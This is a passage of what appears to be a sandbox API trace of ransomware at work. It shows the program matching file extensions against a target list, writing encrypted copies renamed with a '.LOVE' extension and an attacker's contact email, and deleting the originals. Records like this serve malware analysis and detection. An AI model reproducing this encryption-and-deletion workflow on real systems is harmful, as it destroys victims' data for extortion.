(lpString1=".xlsx", lpString2="f.txt") returned -1 [0202.847] lstrlenW (lpString=".ppt") returned 4 [0202.847] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.847] lstrlenW (lpString=".zip") returned 4 [0202.847] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0202.847] lstrlenW (lpString=".rar") returned 4 [0202.847] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0202.847] lstrlenW (lpString=".bz2") returned 4 [0202.847] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0202.847] lstrlenW (lpString=".7z") returned 3 [0202.847] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.847] lstrlenW (lpString=".dbf") returned 4 [0202.847] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.847] lstrlenW (lpString=".1cd") returned 4 [0202.847] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0202.847] lstrlenW (lpString=".jpg") returned 4 [0202.847] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0202.847] lstrcmpiW (lpString1=".html", lpString2=".LOVE") returned -1 [0202.847] lstrlenW (lpString="Welcome.html") returned 12 [0202.847] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.848] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=955) returned 1 [0202.848] CloseHandle (hObject=0x300) returned 1 [0202.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0202.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.848] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.848] GetLastError () returned 0x0 [0202.849] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0202.918] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0202.919] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.920] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.920] SetEndOfFile (hFile=0x2c4) returned 1 [0202.920] CloseHandle (hObject=0x2c4) returned 1 [0202.921] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.921] SetEndOfFile (hFile=0x300) returned 1 [0202.922] CloseHandle (hObject=0x300) returned 1 [0202.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.922] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0202.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.922] lstrlenW (lpString=".doc") returned 4 [0202.922] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0202.922] lstrlenW (lpString=".docx") returned 5 [0202.922] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0202.922] lstrlenW (lpString=".pdf") returned 4 [0202.922] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0202.922] lstrlenW (lpString=".xls") returned 4 [0202.923] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0202.923] lstrlenW (lpString=".xlsx") returned 5 [0202.923] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0202.923] lstrlenW (lpString=".ppt") returned 4 [0202.923] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString=".zip") returned 4 [0202.923] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0202.923] lstrlenW (lpString=".rar") returned 4 [0202.923] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0202.923] lstrlenW (lpString=".bz2") returned 4 [0202.923] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0202.923] lstrlenW (lpString=".7z") returned 3 [0202.923] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString=".dbf") returned 4 [0202.923] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString=".1cd") returned 4 [0202.923] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString=".jpg") returned 4 [0202.923] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.923] lstrlenW (lpString=".doc") returned 4 [0202.923] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0202.923] lstrlenW (lpString=".docx") returned 5 [0202.923] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0202.923] lstrlenW (lpString=".pdf") returned 4 [0202.924] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0202.924] lstrlenW (lpString=".xls") returned 4 [0202.924] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0202.924] lstrlenW (lpString=".xlsx") returned 5 [0202.924] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0202.924] lstrlenW (lpString=".ppt") returned 4 [0202.924] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.924] lstrlenW (lpString=".zip") returned 4 [0202.924] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0202.924] lstrlenW (lpString=".rar") returned 4 [0202.924] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0202.924] lstrlenW (lpString=".bz2") returned 4 [0202.924] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0202.924] lstrlenW (lpString=".7z") returned 3 [0202.924] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.924] lstrlenW (lpString=".dbf") returned 4 [0202.924] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.924] lstrlenW (lpString=".1cd") returned 4 [0202.924] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0202.924] lstrlenW (lpString=".jpg") returned 4 [0202.924] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0202.924] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0202.924] lstrlenW (lpString="AppXManifest.xml") returned 16 [0202.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.925] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=5944055) returned 1 [0202.925] CloseHandle (hObject=0x300) returned 1 [0202.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0202.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0202.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.926] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc64 | out: lpNewFilePointer=0x0) returned 1 [0202.926] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0202.926] ReadFile (in: hFile=0x300, lpBuffer=0x3b48058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b48058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0202.928] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0202.928] ReadFile (in: hFile=0x300, lpBuffer=0x3b88058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b88058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0202.955] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.955] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0202.955] ReadFile (in: hFile=0x300, lpBuffer=0x3bc8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bc8058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0202.974] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.974] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2d9fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0203.647] SetEndOfFile (hFile=0x300) returned 1 [0203.648] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4401468 [0203.652] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.652] WriteFile (in: hFile=0x300, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.654] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.654] WriteFile (in: hFile=0x300, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.658] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.658] WriteFile (in: hFile=0x300, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.660] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4401468 | out: hHeap=0x790000) returned 1 [0203.660] CloseHandle (hObject=0x300) returned 1 [0205.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.321] lstrlenW (lpString=".doc") returned 4 [0205.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.321] lstrlenW (lpString=".docx") returned 5 [0205.321] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.321] lstrlenW (lpString=".pdf") returned 4 [0205.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString=".xls") returned 4 [0205.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString=".xlsx") returned 5 [0205.322] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.322] lstrlenW (lpString=".ppt") returned 4 [0205.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString=".zip") returned 4 [0205.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.322] lstrlenW (lpString=".rar") returned 4 [0205.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString=".bz2") returned 4 [0205.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString=".7z") returned 3 [0205.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString=".dbf") returned 4 [0205.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString=".1cd") returned 4 [0205.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString=".jpg") returned 4 [0205.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.322] lstrlenW (lpString=".doc") returned 4 [0205.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString=".docx") returned 5 [0205.323] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.323] lstrlenW (lpString=".pdf") returned 4 [0205.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString=".xls") returned 4 [0205.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString=".xlsx") returned 5 [0205.323] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.323] lstrlenW (lpString=".ppt") returned 4 [0205.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.323] lstrlenW (lpString=".zip") returned 4 [0205.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.323] lstrlenW (lpString=".rar") returned 4 [0205.323] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString=".bz2") returned 4 [0205.323] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString=".7z") returned 3 [0205.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.323] lstrlenW (lpString=".dbf") returned 4 [0205.323] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.323] lstrlenW (lpString=".1cd") returned 4 [0205.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0205.323] lstrlenW (lpString=".jpg") returned 4 [0205.323] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.324] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.324] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0205.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.324] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1261) returned 1 [0205.324] CloseHandle (hObject=0x300) returned 1 [0205.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.324] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.325] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.326] GetLastError () returned 0x0 [0205.326] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.499] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.499] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.500] SetEndOfFile (hFile=0x364) returned 1 [0205.500] CloseHandle (hObject=0x364) returned 1 [0205.501] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.501] SetEndOfFile (hFile=0x300) returned 1 [0205.501] CloseHandle (hObject=0x300) returned 1 [0205.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0205.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.502] lstrlenW (lpString=".doc") returned 4 [0205.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString=".docx") returned 5 [0205.502] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.502] lstrlenW (lpString=".pdf") returned 4 [0205.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString=".xls") returned 4 [0205.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString=".xlsx") returned 5 [0205.502] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.502] lstrlenW (lpString=".ppt") returned 4 [0205.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.502] lstrlenW (lpString=".zip") returned 4 [0205.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.502] lstrlenW (lpString=".rar") returned 4 [0205.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString=".bz2") returned 4 [0205.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.502] lstrlenW (lpString=".7z") returned 3 [0205.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.502] lstrlenW (lpString=".dbf") returned 4 [0205.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.503] lstrlenW (lpString=".1cd") returned 4 [0205.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.503] lstrlenW (lpString=".jpg") returned 4 [0205.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.503] lstrlenW (lpString=".doc") returned 4 [0205.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 